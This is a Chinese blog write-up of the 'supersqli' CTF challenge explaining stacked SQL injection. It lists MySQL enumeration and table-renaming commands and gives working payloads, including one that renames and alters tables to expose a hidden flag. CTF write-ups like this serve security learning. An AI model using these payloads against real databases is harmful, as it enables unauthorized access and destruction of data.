supersqli
2024-08-26 08:30:33
0x01 堆叠注入
1、定义与说明
- 在sql中，分号(;)表示一条sql语句的结束。在;结束之后继续构造下一条语句，会一起执行，因此为堆叠注入。
- union联合查询是将两条语句合并之后进行查询，union执行的语句有限。
- 堆叠注入可以执行任意的语句
2、查询语句
查询数据库：
- show databases
查询表：
- show tables
显示表中列的信息：
- show columns from table_name
- desc table_name
- select * from information_schema.columns where table_schema="" and table_name=""
更改表的名字：
- rename table table_name1 to newtable_name1 [, table_name2 to newtable_name2]
- alter table table_name to newtable_name
更改字段的名字：
- alter table table_name change name column_name varchar(20) not null
0x02
1、存在sql注入
GET，字符型，单引号
?inject=1' order by 2--+
select等一些语句被过滤
2、堆叠注入
?inject=1';show databases;--+
保证前面的语句闭合，执行后面的语句
得到了数据表
查看表的结构
只能查看words表，不能查看另一个表
重命名表
将words默认表重命名为word1，将数字表重命名为words
在words表插入一列，id，flag
那么我们查询id为1，得出flag
?inject=1' or 1=1; rename tables words to words1;rename tables `1919810931114514` to words;alter table words change flag id varchar(100);--+
参考链接：
https://www.cnblogs.com/0nth3way/articles/7128189.html
https://www.cnblogs.com/dedragon/p/12728498.html
https://blog.csdn.net/qq_26406447/article/details/90643951
最新文章
- 虚拟机安装CentOS6.3两个问题
- 使用X-UA-Compatible来设置IE浏览器兼容模式
- 学习笔记day5：inline inline-block block区别
- C(++)基于websocket实时通信的实现—GoEasy
- [工作积累] error: bad class file magic (cafebabe) or version (0033.0000)
- WinForm中Component Class、User Control及Custom Control的区别和使用-转
- linux 获取cpu百分比
- Expedition（优先队列）
- IX-Protected Dataplane Operating System解读
- 2-Sat+输出可行解(个人模版)
- codeforce 367dev2_c dp
- 从YOLOv1到v3的进化之路
- Centos7 安装Tomcat并运行程序
- windows做代理服务器让内部linux上网
- [STM32F103]RTC日历
- 【html】前端实现筛选条件跳转
- javascritp伪协议
- linux vim 快捷键
- 使用django发送邮件时的连接超时问题解决
- 第六周的PSP